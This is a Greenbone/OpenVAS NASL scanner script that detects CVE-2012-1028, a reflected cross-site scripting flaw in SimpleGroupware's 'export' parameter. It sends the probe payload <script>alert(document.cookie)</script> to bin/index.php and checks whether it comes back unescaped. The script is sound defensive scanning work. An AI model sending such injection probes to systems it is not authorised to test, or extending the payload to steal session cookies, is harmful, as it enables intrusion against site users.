SimpleGroupware 'export' Parameter XSS Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802589");
  script_version("2024-06-27T05:05:29+0000");
  script_cve_id("CVE-2012-1028");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
  script_tag(name:"last_modification", value:"2024-06-27 05:05:29 +0000 (Thu, 27 Jun 2024)");
  script_tag(name:"creation_date", value:"2012-02-09 17:20:45 +0530 (Thu, 09 Feb 2012)");
  script_name("SimpleGroupware 'export' Parameter XSS Vulnerability");

  script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/bugtraq/2012-02/0028.html");

  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary HTML and
  script code in a user's browser session in context of an affected site.");

  script_tag(name:"affected", value:"SimpleGroupware 0.742 and prior.");

  script_tag(name:"insight", value:"The flaw is due to an input passed via 'export' parameter to 'bin/index.php'
  is not properly sanitised before being returned to the user.");

  script_tag(name:"solution", value:"Upgrade to SimpleGroupware version 0.743 or later.");

  script_tag(name:"summary", value:"SimpleGroupware is prone to a cross-site scripting (XSS) vulnerability.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");
  script_xref(name:"URL", value:"http://www.simple-groupware.de/cms/");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port(default:80);
if(!http_can_host_php(port:port)){
  exit(0);
}

foreach dir (make_list_unique("/sgs/sgs_installer.php", "/sgs", http_cgi_dirs(port:port)))
{

  if(dir == "/") dir = "";

  rcvRes = http_get_cache(item:string(dir, "/bin/index.php"), port:port);

  if(rcvRes && ">Powered by Simple Groupware" >< rcvRes)
  {
    url = dir + '/bin/index.php?export=<script>alert(document.cookie)</script>';

    if(http_vuln_check(port:port, url:url, pattern:"<script>alert\(document\.cookie\)</script>", check_header:TRUE))
    {
      security_message(port:port);
      exit(0);
    }
  }
}

exit(99);